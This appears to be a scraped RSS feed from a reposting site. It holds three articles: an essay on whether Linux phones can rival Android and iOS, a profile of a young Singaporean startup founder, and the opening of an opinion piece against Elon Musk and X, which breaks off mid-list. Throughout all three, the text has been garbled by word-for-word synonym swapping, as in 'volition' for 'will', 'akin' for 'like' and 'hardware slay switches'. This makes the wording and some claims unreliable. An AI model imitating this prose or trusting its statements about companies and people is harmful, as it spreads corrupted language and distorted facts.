<a href="https://en.mycoding.id/category/technology" target="_blank">launch phones alongside GrapheneOS</a> in 2027, but they volition be <a href="https://en.mycoding.id/category/technology" target="_blank">flagship models</a> which likely disbursal complete $1000 and be constricted to a few choose countries.</p></div> <p>Aside from the Motorola Moto G15 (released in December 2024), group are improbable to discover a new phone anywhere they can instal an authoritative LineageOS harbor for transaction in Africa, most of Latin America (except Mexico) and most of Asia (except India, Japan, Taiwan, Singapore and Malaysia). The lone choice to run a tradition ROM in most of the earth is to buy a used Motorola or Xiaomi phone from a brace years ago, specified as the Moto G (2024), Moto G32, Moto G34, Moto G84, POCO F5, POCO F5 Pro, POCO F6 Pro or Redmi Note 13 Pro. There are additional latest phones akin the <a href="https://en.mycoding.id/category/technology" target="_blank">Moto Edge 70</a>, which have unofficial LineageOS ports, but it is a wager if they volition always be officially supported by LineageOS.</p> <p>As Google has pushed phone makers to assistance their phones for longer, many companies have decided to collect additional individual data from their users for improved targeted promotion and for training synthetic intelligences. The smartphone industry is moving distant from a endeavor example according to planned obsolescence toward one according to surveillance capitalism, and the phone makers don&rsquo;t desire their users to opt out of the system, so they have removed the choice to unlock the bootloader and made it harder to acquire base access. That way they can recoup the disbursal of providing additional years of assistance for their phones by monetizing their users&rsquo; data.</p> <p>In addition, Google has made it harder to keep tradition ROMs, since it has moved additional and additional <a href="https://en.mycoding.id/category/technology" target="_blank">functionality from AOSP</a> into its proprietary libraries and services (starting alongside Android 4.1 in 2012), and mostly <a href="https://en.mycoding.id/category/technology" target="_blank">abandoned the development</a> of many of the free/open origin apps in AOSP in favor of its proprietary apps. Starting alongside AOSP 16 in 2025, Google <a href="https://en.mycoding.id/category/technology" target="_blank">stopped including</a> the equipment trees and controller binaries for Pixel devices in AOSP, so ROM developers no longer had mark devices, anywhere they could effortlessly test out and modify the latest versions of AOSP on operating hardware. Now tradition ROM developers have to do achy test and error to create the equipment trees for Pixel phones fair akin all the another phone brands. Google additionally squashed the kernel&rsquo;s commit history, which makes it extremely difficult for ROMs akin GrapheneOS to create their own tradition kernels, since they can&rsquo;t effortlessly obtain new features, bug fixes and safety patches from Google&rsquo;s kernels.</p> <p>Given how the smartphone industry is locking downward their hardware and pushing endeavor models that are inimical to users&rsquo; privacy, there is risen chance for Linux phones to be marketed to group who desire to escape the Android/iOS duopoly and surveillance capitalism.</p> <h3 id="three-types-of-linux-phones-are-now-possible"><a></a><strong>Three</strong> <strong>types</strong> <strong>of Linux phones are now possible</strong></h3> <p>In the past, it was much harder to bring a Linux phone to market, but now there are three viable types of Linux phones that can be brought to market, and all of them have improved prospects than in the past. The archetypal category is the clean Linux phone which runs a Linux kernel, akin the Librem 5, Liberty, PinePhone and PinePhone Pro. These phones earlier didn&rsquo;t have the handling power to recommendation the functionality that group anticipate in a smartphone. They frequently lacked components specified depiction indication processors, audio digital indication processors, hardware video encoders, Vulkan graphics, neural processors and encryption engines, or they lacked the FOSS drivers to assistance those components. The RK3588S and the upcoming <a href="https://en.mycoding.id/category/technology" target="_blank">RK3668</a>, however, volition provision clean Linux phones the handling power to be viable alternatives to Android and iOS phones for the archetypal time.</p> <p>The clean Linux phone is the riskiest category since it requires the most funding in engineering the hardware. Companies can&rsquo;t fair modify a citation phone scheme from Qualcomm or MediaTek or call up a phone ODM and ask them to modify one of their existing designs. They have to activity alongside a scheme home or ODM that has several cognition alongside broadcast frequencies to tradition scheme a phone alongside 2 to 3 times additional components than a norm smartphone. This method many iterations of the circuit commission to get it right, and several kernel activity to use all those distinct chips. It volition obtain a lengthy period to get to market, which can guide to client complaints and reputational defeat if using crowdfunding to backing the dev work.</p> <p>The advantage of the clean Linux method is that it allows for true hardware slay switches that cut the current to distinct components, fairly than the use of pins on an unified mobile SoC or application to rotate off the WiFi/Bluetooth, cellular modem and GPS/GNSS. The second advantage is the capability to choose components that have free/open origin drivers, which allows for greater application liberty and additional transparency to location safety and privacy concerns. The use of proprietary blobs in the drivers frequently prevents the kernel from being upgraded since the blobs are frequently lone compatible alongside a particular kernel type number, which allows the chipmakers to dictate the lifespan of devices. Another advantage of not using a citation scheme from an SoC creator or an ODM is the phone creator has complete authority complete the scheme and can publish the schematics and commission views for the circuit boards, so the hardware is as liberated as the software.</p> <p>In the past, Qualcomm didn&rsquo;t create mighty Internet of Things processors alongside Linux support, but now it is imaginable to build a fine Linux phone according to an Internet of Things processor, akin the QCM6490 or QCM8850 alongside an unified cellular modem. These Dragonwing processors are not as up-to-date as the latest Snapdragon processors, but most of them obtain 10 years or 15 years of application support, and many of them volition eventually get partial assistance in mainline Linux, so they can live on alongside community assistance following they are no longer supported by Qualcomm.</p> <p>The third benevolent of Linux phone is built on an unified mobile SoC, which runs a norm Linux stack on top of an Android kernel using libhybris to translate glib calls to Android&rsquo;s Bionic. This used to not be a fine choice since Android SoC&rsquo;s were not supported lengthy adequate for the lengthy betterment cycles and lesser annual revenue of Linux phones, but now it is imaginable for the high-end processors that are getting 8 years of application assistance from Qualcomm and MediaTek.</p> <p>This method is the most cost-effective way to bring a Linux phone to market, since many phone ODMs already have citation models accessible and are consenting to activity alongside phone sellers to tweak those models to their specifications. It is not unattainable to activity alongside an ODM to add privacy switches to a design, as Furi Labs demonstrated alongside its FLX1, but it takes longer to get a tradition scheme to market, so it is crucial to choose an SoC that gets 7 or 8 years of application support, so the phone volition bask a sensible lifespan.</p> <p>It is no longer necessary for Linux phone companies to expend huge amounts of chief in evolving mobile Linux, since there are now three fine mobile interfaces&mdash;Phosh, Plasma Mobile and Lomiri&mdash;which recommendation a fairly complete complement of applications, so hardware companies don&rsquo;t need to hazard bankruptcy evolving the application akin before. Because Phosh and now Plasma Mobile are according to a well-supported desktop stack and convergent applications, they volition necessitate much small activity to keep and it is easier and small costly to keep providing application updates for the phone. Companies offering Linux phones volition motionless need to employ developers to activity on things akin power administration and camera support, but they don&rsquo;t have to bet the ranch akin Purism did alongside the Librem 5 or provision no application assistance as PINE64 did alongside the PinePhone and PinePhone Pro.</p> <figure><table readabilitydatatable="1"><tbody><tr><td colspan="9"><strong>Different approaches to designing a Linux phone</strong></td></tr><tr><td>Approach</td><td>SoC</td><td>CPU / GPU</td><td>Battery life</td><td>Support</td><td>HW dev</td><td>SW dev</td><td>Price (1-5)</td><td>Notes</td></tr><tr><td>Community Linux</td><td>RK3566</td><td>Bad</td><td>Bad</td><td>Forever</td><td>hard</td><td>none</td><td>1</td><td>software outsourced to the community, mediocre norm convergence</td></tr><tr><td>Expensive Linux</td><td>RK3588S</td><td>Sub-optimal</td><td>Poor</td><td>Forever</td><td>very hard</td><td>very hard</td><td>5</td><td>real hardware slay switches, convergence possible</td></tr><tr><td>Mid-range blobbed Linux</td><td>QCM6490</td><td>Good</td><td>Sub-optimal</td><td>till 2035</td><td>easy</td><td>hard</td><td>4</td><td>lots of blobs, convergence possible</td></tr><tr><td>Economic Android kernel</td><td>Snapdragon 4/6 Gen 4</td><td>OK</td><td>Good</td><td>4 years</td><td>easy</td><td>moderate</td><td>2</td><td>lots of blobs, no convergence</td></tr><tr><td>Mid-range Android kernel</td><td>Snapdragon 7 Gen 4</td><td>Good</td><td>Good</td><td>8 years</td><td>easy</td><td>moderate</td><td>3</td><td>lots of blobs, no convergence</td></tr><tr><td>Expensive Android kernel</td><td>Snapdragon 8 Gen 5</td><td>Stellar</td><td>OK</td><td>8 years</td><td>easy</td><td>moderate</td><td>5</td><td>lots of blobs, convergence possible</td></tr></tbody></table></figure> <p>This decrease in application betterment costs, however, likely won&rsquo;t outcome in additional cost-effective Linux phones. The shorter application assistance for the QMC4490 and the mid-range and low range Snapdragon and Dimensity processors rules out the making of an cost-effective Linux phone. It is imaginable to create an high mid-range Linux phone according to a Snapdragon 7 or Dimensity 8000 sequence processor, but it won&rsquo;t assistance video out via DisplayPort Alt Mode complete USB-C, so it can&rsquo;t be used as a convergent PC, which is a important marketing item for Linux phones. Given that the QMC6490 does assistance DisplayPort Alt Mode, it is likely the finest choice for making an high mid-range phone.</p> <p>Companies akin Jolla, Furi Labs, Volla and Brax may choose to continue making mid-range Linux phones, but they volition apt endure from the identical issue as the FLX1 and C2, anywhere the Android kernel is unsupported and no longer getting safety updates, so it is improved to move up to a additional costly SoC that gets 8 years of support. Ideally, these companies volition halt using MediaTek processors, and choose Snapdragon processors that get partially supported in mainline Linux, so group can run a distro akin Nura on them following they are no longer supported.</p> <h3 id="the-real-barrier-holding-back-linux-phones-is-the-companies"><a></a>The genuine obstacle holding rear Linux phones is the companies</h3> <p>Now that the accessible SoC&rsquo;s and application are no longer holding rear the making of compelling Linux phones, the genuine obstacle to creating a viable Linux phone market are the companies to create and market those phones. There aren&rsquo;t many companies alongside the cognition and enthusiasm to create Linux phones, which historically have misplaced money.</p> <p>PINE64 lately <a href="https://en.mycoding.id/category/technology" target="_blank">announced</a> that it is pausing manufacturing of most of its devices because of the elevated prices of RAM and eMMC. Essentially PINE64 is admitting that it can&rsquo;t lift the cost of many of its products, since they don&rsquo;t have the needed application support, so many group won&rsquo;t pay elevated prices for them. It appears improbable at this item that PINE64 volition alter its endeavor example to pay for application developers to activity on the kernels for its hardware, nor is it repairing its association alongside the distributions and unpaid developers who have abandoned the company, so it is improbable to always create the rumored PinePhone 2 using the RK3566. In theory another community-based Linux hardware business could arise, that charges a bit additional so it has the necessary finances to pay developers to activity on the kernel assistance for the hardware, but it appears extremely improbable that another community-based hardware business akin PINE64 volition appear.</p> <p>In contrast, Purism is plainly preparedness to create a second type of its phone. In its July 2026 newsletter, Purism stated that it &ldquo;is in the first stages of preparedness the Librem 5 v2 and Liberty 5 v2.&rdquo; It is preparing a &ldquo;crowdfunding run in the coming months&rdquo; to &ldquo;gauge client involvement and traction, which volition assistance prosperity the manufacturing of our second version.&rdquo; The issue is that Purism&rsquo;s community position has been stained by its refusal to refund the Librem 5 backers who cancelled their orders. Refunding the 600 customers who are motionless waiting for their Librem 5 refunds would do a lot to reconstruct the company&rsquo;s community reputation, and it would disbursal the business small than $400k. Without taking that step, it seems improbable that Purism volition be capable to crowdfund the &ldquo;over $2 million&rdquo; that it projects volition be needed to create its next Linux phone. Maybe Purism can accusation a lesser amount (such as $99) to pre-order the phone, and afterward use those numbers to lift chief privately to create the phone.</p> <p>At any rate, the period and disbursal of producing the Librem 5 v2 volition be much small than the archetypal type of the phone, since Phosh and its applications have already been developed and the mainline Linux controller assistance for the RK3588S is already in a fine province because of the final four years of activity by Collabora. Hopefully, Purism volition either provision backing or developers to assistance Collabora get the ISP and hardware video encoding working.</p> <p>The difficulty for Purism is that it additionally needs to backing the betterment of its next generation of Librem 14 notebook, Librem 11 tablet and Librem Mini. The Librem 11 and Mini are rebadged ODM designs, so they don&rsquo;t necessitate as much work, but the Librem 14 is a tradition design, which requires fairly a bit additional activity and financing to create. In addition, Purism reported in its July newsletter that it has been pre-approved to get complete $50 myriad in backing from the CHIPS Act to create a Librem Core-V processor according to the RISC-V architecture, which volition be a huge undertaking for the small business which doesn&rsquo;t have any previous cognition in part design. Presumably, Purism volition have to lift several matching finances to get the authorities backing for its part project. In another words, many projects volition be competing for Purism&rsquo;s notice in the future, and the Librem 5 v2 could be neglected and postponed in favor of another products.</p> <p>Presumably Dawndrums volition initiate a crowdfunding run formerly it has a operating prototype of its RK3588S-based phone to display to the public, but the business based in Tunis has been extremely tight lipped concerning its forthcoming plans to bring the phone to market. There has been no news from Furi Labs concerning a new phone example to prosecute the FLX1s+. The implementation of Ubuntu Touch on the BraX3 phone <a href="https://en.mycoding.id/category/technology" target="_blank">has been stalled for months</a>, and it appears that Brax Technologies is depending on the UBports community to complete the porting work. Volla Phone continues to recommendation Ubuntu Touch as an substitute functioning scheme on its phones, but the German company&rsquo;s chief concentration is on evolving its own <a href="https://en.mycoding.id/category/technology" target="_blank">Volla OS</a>, which is an AOSP derivative oriented toward privacy.</p> <p>Jolla is making the correct moves to create a viable Linux phone market. The Finnish business says that it plans to move to bulk manufacturing of its Jolla Phone, so the phone volition be in stock, and to recommendation the phone to the North American market. However, many in the Linux community volition be reluctant to clasp Jolla&rsquo;s phones, since of the proprietary application in its Silica interface and its AppSupport (aka AlienDalvik) to run Android apps. People who accept in liberated and open origin application won&rsquo;t desire to buy a phone from a business that has been violating the GPL 2.0 licence by not published the kernel code for its Jolla C2 and Jolla Phone. In addition, these phones use UNISOC and MediaTek processors that don&rsquo;t have any mainline Linux support, and they volition likely have abbreviated lifespans, since their kernel are improbable to always be upgraded.</p> <p>A crucial aspect in the achievement of Linux phones is publicizing the phones to diagram the niche customers who attention concerning Linux, application freedom, privacy or security. Liberux appears to have unsuccessful since it did specified a mediocre job of publicizing its forthcoming NEXX phone and didn&rsquo;t diagram adequate crowdfunding. Furi Labs likewise has done a extremely mediocre job of publicizing its phone, so that most Linux enthusiasts have never heard of the phone. Likewise, Dawndrums has done a extremely mediocre job of publicizing it betterment activity on a forthcoming RK3588S phone. In contrast, Jolla has extremely efficiently used social media to market its Jolla Phone to European customers.</p> <p>There are multiple dozen companies that market Linux PCs, which could possibly develop into the Linux phone market. Most of those companies, however, don&rsquo;t have cognition in the scheme of tradition hardware. Most of them use norm notebook designs from among the ODM&rsquo;s that create specialty notebooks specified as Clevo or Tongfang. Most of these companies additionally don&rsquo;t have much cognition doing kernel work, so they are likely improved off fair using a norm Android scheme provided by a phone ODM and installing Linux on top of Halium, so they can use a well-tested Android kernel and drivers.</p> <p>There are additionally a figure of companies that create Linux sole commission computers (SBC&rsquo;s), who could possibly jump into the Linux phone market. They have additional cognition in operating alongside Chinese and Taiwanese companies to scheme and create tradition hardware. They are improved armed to undertake the engineering challenges of entering the Linux phone market, but most of them do a mediocre job of engaging the community. Many companies which market Linux SBC&rsquo;s don&rsquo;t have community forums for their customers and do a mediocre job of using social media and online promotion to advance their products.</p> <p>Public opinion surveys display that group are increasingly conscious that they are losing their privacy online. Ipsos polls established that <a href="https://en.mycoding.id/category/technology" target="_blank">79% of earth respondants</a> and <a href="https://en.mycoding.id/category/technology" target="_blank">84% of American respondants</a> province concern concerning their online privacy. A <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noopener">Malwarebytes</a> study established that 89% of consumers are concerned concerning company and AI data misuse. 62% of Americans in a <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noopener">YouGov</a> study survey worrying concerning how much individual data third parties have concerning them online. If Linux phones can be created that provision the identical functionality and comfort of use as Android or iOS phones, they could access that huge possible market of consumers who desire to maintain their privacy online. In command to petition to mainstream users, Linux phones volition need to assistance the use of Android apps through Waydroid or a akin solution. In the identical way that Murena and iod&eacute; market AOSP phones which obstacle third gathering trackers, Linux phones need to merge akin software.</p> <p>The conditions may be ripe for Linux phones, but it is unclear whether the companies marketing Linux phones volition obtain advantage of those conditions to create a viable substitute to the current Android/iOS duopoly. For the purpose of application freedom, online privacy and the greater longevity of mobile devices, a concerted shove is needed to advance mobile Linux.</p> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/will-linux-phones-become-a-viable-alternative-to-the-android-ios-duopoly-72112</guid> <pubDate>Mon, 12 Oct 2026 05:54:00 +0700</pubDate> <author><![CDATA[support@mycoding.id (Adi Gunawan)]]></author> </item> <item> <title><![CDATA[My cofounder and I were rivals at hackathons. At 21, I've put college on hold to build a startup with him.]]></title> <description><![CDATA[My cofounder and I were rivals at hackathons. At 21, I've put college on hold to build a startup with him.. He was accepted into Singapore's top university, but had to petition a depart of deficiency before his archetypal day to build a startup in San Francisco.]]></description> <media:thumbnail url="https://i.insider.com/6ab62c6aeb7225411267a798?width=1200&amp;format=jpeg"/> <category><![CDATA[Business]]></category> <link>https://en.mycoding.id/my-cofounder-and-i-were-rivals-at-hackathons-at-21-i-ve-put-college-on-hold-to-build-a-startup-with-him-72108</link> <content:encoded><![CDATA[<div data-component-type="post-hero" data-load-strategy="exclude"> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject"> <div> <p><img src="https://i.insider.com/6ab62b6ad15f8a572974a72b?width=1000&amp;format=jpeg&amp;auto=webp" srcset="https://i.insider.com/6ab62b6ad15f8a572974a72b?width=400&amp;format=jpeg&amp;auto=webp 400w, https://i.insider.com/6ab62b6ad15f8a572974a72b?width=500&amp;format=jpeg&amp;auto=webp 500w, https://i.insider.com/6ab62b6ad15f8a572974a72b?width=700&amp;format=jpeg&amp;auto=webp 700w, https://i.insider.com/6ab62b6ad15f8a572974a72b?width=1000&amp;format=jpeg&amp;auto=webp 1000w" sizes=" 1280px) 900px" alt="A man position in forefront of the Golden Gate extend in San Francisco on a foggy day." decoding="sync"> </p></div> <span> <span> <svg aria-hidden="true" focusable="false" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" viewbox="0 0 24 24"> <path fill="currentColor" fill-rule="evenodd" d="m4.56 18.5 7.486-7.72 7.394 7.626 2.56-2.64L12.046 5.5 2 15.86l2.56 2.64Z"></path> </svg> <figcaption e-name="image-caption"> <span>Raymond Loong Ng put his university plans on clasp to build a startup in San Francisco.</span> <span> <span e-name="image-source" itemprop="creditText">Provided by Raymond Loong Ng.</span> </span> </figcaption> </span> </span></figure> </div> <div data-component-type="image-modal" data-load-strategy="lazy"> <p><em>This as-told-to composition is according to a conversation alongside Raymond Loong Ng, 21, the cofounder of Makeable, a San Francisco-based startup. It's been edited for dimension and clarity.</em></p><p>I was delivered in Vietnam and moved to Singapore whenever I was 9. As a kid, I continually had several benevolent of <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">side hustle</a>. In school, I sold toys, snacks, in-game currency, and sneakers to my classmates &mdash; item that power acquire me a small additional pocket money.</p><p>When I was 16, I <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">did an internship</a> at an auditing firm, anywhere I had the chance to conversation alongside a lot of endeavor owners. I began to see innovation as a tool that could assistance me advancement in the endeavor world.</p><p>I ended up getting a certificate in applied AI and analytics at a polytechnic following finishing secondary school. I was never the finest at math or coding, but it offered me a way to rotate my ideas into genuine projects.</p> <p>I continually saw myself as the connector: I could place a problem, form a vision, diagram resources, afterward bring in my smartest classmates to create things happen.</p><p>That was how I began construction projects of my own. I built an AI tool that helps ex-offenders build r&eacute;sum&eacute;s and discover jobs. I additionally started a community of young AI builders that runs workshops for students throughout Singapore.</p><h2 id="bf177b4b-737a-471c-8300-0f3185e9143f" data-toc-id="bf177b4b-737a-471c-8300-0f3185e9143f">From rivals to cofounders</h2><p>In school, the projects we built frequently felt theoretical. <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">Participating in hackathons</a> gave me the chance to build solutions under real-world market constraints.</p><p>Although we had traversed paths before through a distinct grant program, hackathons were additionally how I got to cognize the individual who would afterward rotate into my cofounder better.</p> <figure data-type="img" e-name="image-figure-image" data-media-container="image" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view" itemscope="" itemtype="https://schema.org/ImageObject"> <div> <p><img src="image/svg+xml,%3C%3Fxml%20version=&#039;1.0&#039;%20encoding=&#039;UTF-8&#039;%3F%3E%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20width=&#039;1&#039;%20height=&#039;1&#039;/%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/6ac88d8f301bb0551f4941d8&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:3024,&quot;aspectRatioH&quot;:2268}}' alt="Two founders of a startup are operating at a desk."> </p></div> <span> <figcaption e-name="image-caption"> Ng and his cofounder started out on competitor hackathon teams before deciding to activity together.&nbsp; <span e-name="image-source" itemprop="creditText"> Provided by Raymond Loong Ng. </span> </figcaption> </span> </figure> <p>We contested as rivals on distinct teams, but would frequently discover ourselves among the lone group motionless operating at 2 or 3 a.m. Eventually, we decided we wanted to be on the identical team.</p> <p>We started entering competitions together in delayed 2023 and went on a winning streak. We shortly realized that complete application solutions were becoming harder to differentiate in hackathons as AI tools and models advanced.</p><p>We ventured into hardware since it gave AI a way to be deployed in the genuine world.</p><p>At a medicinal innovation hackathon in 2025, we built a equipment to assistance paralyzed patients communicate through brainwaves and eye blinks. That became our startup, Neural Drive. The merchandise caught the notice of a local hospital and is set to undergo a medicinal test there.</p><p>At the identical time, I was trying to discover my way to the US.</p><p>I grew up fascinated by the group and stories of <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">Silicon Valley</a>. My favorite films were "Jobs" and "The Social Network," and they made me awareness that if I wanted to build item that could alter the world, I had to be there.</p><p>While serving my two years of mandatory armed forces service, I applied to multiple US colleges but was rejected by all. I ended up being accepted into the device discipline program at the National University of Singapore, but I motionless wanted to go to the States.</p><p id="849ac558-f77f-457e-b57b-2a8566e60554">I kept reaching out to project chief firms in the US, and Neural Drive eventually caught the notice of <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">Afore Capital</a> in June.</p><p id="849ac558-f77f-457e-b57b-2a8566e60554">In June, Afore Capital made a $250,000 pre-seed funding in Neural Drive. My cofounder and I afterward joined its two-month Founders-in-Residence program in <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">San Francisco</a>.</p> <figure data-type="img" e-name="image-figure-image" data-media-container="image" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view" itemscope="" itemtype="https://schema.org/ImageObject"> <div> <p><img src="image/svg+xml,%3C%3Fxml%20version=&#039;1.0&#039;%20encoding=&#039;UTF-8&#039;%3F%3E%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20width=&#039;1&#039;%20height=&#039;1&#039;/%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/6ac89a3c42403ad8039a4ea2&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:764,&quot;aspectRatioH&quot;:573}}' alt="Two cofounders posing in SF."> </p></div> <span> <figcaption e-name="image-caption"> Ng and his cofounder spent two months in San Francisco as part of Afore Capital's founders-in-residence program.&nbsp; <span e-name="image-source" itemprop="creditText"> Provided by Raymond Loong Ng. </span> </figcaption> </span> </figure> <p id="849ac558-f77f-457e-b57b-2a8566e60554">The timing was tricky. College was because of commencement in August, so I had to defer my enrollment before classes started. My cofounder had to petition a depart of deficiency from school, too.</p><p id="849ac558-f77f-457e-b57b-2a8566e60554">It wasn't an uncomplicated decision, but we took a bet on ourselves.</p><h2 id="849ac558-f77f-457e-b57b-2a8566e60554" data-toc-id="849ac558-f77f-457e-b57b-2a8566e60554">I established a city that moved as accelerated as I did</h2><p id="849ac558-f77f-457e-b57b-2a8566e60554">I had visited <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">Shenzhen in China</a> before and expected Silicon Valley to appearance equal additional futuristic. Instead, I was amazed by how average it looked. Because we were scrimping on rent, we moved into a hacker home in San Francisco's Tenderloin neighborhood.</p><p id="849ac558-f77f-457e-b57b-2a8566e60554">Those two months in San Francisco were intense, but incredibly rewarding. We were frequently operating until 4 a.m., but we made as much advancement as we would have in two years in Singapore.</p><p id="849ac558-f77f-457e-b57b-2a8566e60554">The sheer density of endowment inspired us: "What are you operating on?" felt akin the way group stated hello. It was a city complete of workaholics. I thought: This is my benevolent of place.</p> <figure data-type="img" e-name="image-figure-image" data-media-container="image" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view" itemscope="" itemtype="https://schema.org/ImageObject"> <div> <p><img src="image/svg+xml,%3C%3Fxml%20version=&#039;1.0&#039;%20encoding=&#039;UTF-8&#039;%3F%3E%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20width=&#039;1&#039;%20height=&#039;1&#039;/%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/6ac88e3a42403ad8039a4e90&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:739,&quot;aspectRatioH&quot;:554}}' alt="Gen Zer is operating in the dreary at his desk."> </p></div> <span> <figcaption e-name="image-caption"> Ng stated he enjoyed the fast-paced manner in Silicon Valley.&nbsp; <span e-name="image-source" itemprop="creditText"> Provided by Raymond Loong Ng. </span> </figcaption> </span> </figure> <p>We went through multiple pivots before landing on Makeable, our startup that lets group build a bodily merchandise from an idea. All they have to do is depict their idea in a prompt.</p><p>Makeable can create everything from the 3D example to the electronics and code, afterward sends users a kit they can put together themselves, akin Lego.</p><p>In our final week of the program, Afore Capital made a follow-on investment, bringing our total backing to date to $1 million.</p><p>We flew rear to Singapore to use for our <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">O-1 visas</a>. While we're home, we're motionless working. The scheme is to come back to San Francisco for the next few years and keep construction our company.</p><p>I likely have to broaden my depart of absence. If it doesn't activity out, I'll go rear to school. I desire to keep that choice open. But honestly, I anticipation I don't have to.</p> </div> <p> <h2> Read next </h2> </p> <div data-component-type="post-bottom-authors" data-load-strategy="exclude" data-track-view='&quot;module_in_view&quot;}' data-track-click-shared='&quot;navigation&quot;}'> <div data-track-view='&quot;module_in_view&quot;}'> <div> <p><span>Amanda is a elder manner newsman at Business Insider's Singapore bureau.</span><span>Her reporting explores how group navigate important existence transitions, including occupation changes, relocation, and retirement, alongside a particular concentration on the experiences of those living in Asia. She additionally writes concerning travel, culture, wellness, and relationships.</span><span>In 2025, she won the Singapore Press Club's Rising Stars Young Digital Journalist Award.</span><span>She earlier worked as a author and video manufacturer at a satisfied promotion agency in Singapore. She graduated from the University at Buffalo alongside a BA (Hons) in Sociology.</span> </p> </div> </div> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/my-cofounder-and-i-were-rivals-at-hackathons-at-21-i-ve-put-college-on-hold-to-build-a-startup-with-him-72108</guid> <pubDate>Mon, 12 Oct 2026 05:02:01 +0700</pubDate> <author><![CDATA[support@mycoding.id (Amanda Goh)]]></author> </item> <item> <title><![CDATA[X Is Bad, Though]]></title> <description><![CDATA[X Is Bad, Though. Comments]]></description> <media:thumbnail url="https://lexontech.org/img/og/168.png?1791762485"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/x-is-bad-though-72109</link> <content:encoded><![CDATA[<div><p>I regard John Gruber.</p> <p>I think he&rsquo;s a awesome writer. I think he&rsquo;s astute as hell. He&rsquo;s annoyingly funny, too. I am impressed and inspired by his achievement alongside the two Daring Fireball and The Talk Show.</p> <p>I get enthusiastic whenever John links to one of my apps or articles. When he connected to my narrative concerning relaunching Strategery, that led to a motion of additional visibility orders of dimension complete a representative narrative on this site.</p> <p>With decreasing subtlety complete the former few weeks, John keeps pointing out that there&rsquo;s a lot of fun to be had complete on X, culminating in his part today that <a href="https://en.mycoding.id/category/technology" target="_blank" rel="noopener">&ldquo;X Once Again Marks The Spot.&rdquo;</a></p> <p>His point, as I see it, is that yes, Elon Musk is awful, but the X algorithm no longer shoves his posts into John&rsquo;s feed, and new Apple CEO <a href="https://en.mycoding.id/category/technology" target="_blank">John Ternus is posting there</a> (along alongside another Apple executives), and that there are engaging group who article on X and not elsewhere.</p> <p>That all may be true. But it&rsquo;s not the point.</p> <p>It is true that X has, by several definition, &ldquo;won.&rdquo; Elon bought it, quickly ruined it, squandered its awesome Twitter branding, drove many users off the phase &mdash; but since it&rsquo;s the most famous microblogging platform, it continues to succeed. And endeavor leaders akin Ternus, celebrities, and another astute and engaging group are posting there again, or they never left.</p> <p>But it&rsquo;s additionally true that Elon Musk entirely sucks. Let&rsquo;s use receipts.</p> <ol> <li><strong>He called an antisemitic conspiracy theory &ldquo;the genuine truth.&rdquo; (Nov 2023)</strong> Someone on X claimed Jewish group desire to substitute pale majorities alongside minorities, and Musk co-signed it. Apple and Lionsgate pulled their ads. He apologized, afterward told the advertisers who remaining to &mdash; quoting Elon current &mdash; &ldquo;go fuck themselves&rdquo; in the identical interview. Of course, all the advertisers came back. It&rsquo;s unclear to me whether they really busy in coitus alongside themselves, nor is it my business. <a href="https://en.mycoding.id/category/technology" target="_blank" rel="noopener">CBS News</a></li> </ol> <ol start="2"> <li><strong>The salute, followed by the Nazi puns. (Jan 2025)</strong> He made a straight-arm motion at an inauguration event. A few days afterward he posted wordplay on Goebbels, Hess, G&ouml;ring, and Himmler. Even the ADL, which had defended Elon against claims he made the motion &mdash; which, accept your eyeballs, he did &mdash; stated the Holocaust isn&rsquo;t a joke. <a href="https://en.mycoding.id/category/technology" target="_blank" rel="noopener">Global News</a></li> </ol> <ol start="3"> <li><strong>He told Germany&rsquo;s far correct to get complete &ldquo;past guilt.&rdquo; (Jan 2025)</strong> He appeared by video at an AfD rally, called the gathering Germany&rsquo;s finest hope, and stated there&rsquo;s too much concentration on the past. The rally was in Halle, anywhere a far-right gunman attacked a synagogue in 2019. <a href="https://en.mycoding.id/category/technology" target="_blank" rel="noopener">JTA</a></li> </ol> <ol start="4"> <li><strong>He stated his own trans female was &ldquo;killed.&rdquo; (July 2024)</strong> On Jordan Peterson&rsquo;s display he deadnamed and misgendered Vivian complete and over. He blamed the &ldquo;woke intellect virus&rdquo; and stated it&rsquo;s what pushed him to the right. <a href="https://en.mycoding.id/category/technology" target="_blank" rel="noopener">Rolling Stone</a></li> </ol> <ol start="5"> <li><strong>He quietly deleted X&rsquo;s protections for trans users. (Apr 2023)</strong> Twitter dropped its 2018 regulation against targeted misgendering and deadnaming. A weaker type came rear later, but it lone applies anywhere local law requires it, and the individual being targeted has to study it themselves. <a href="https://en.mycoding.id/category/technology" target="_blank" rel="noopener">AP via Anchorage Daily News</a></li> </ol> <ol start="6"> <li><strong>His chatbot started calling itself MechaHitler. (July 2025)</strong> He 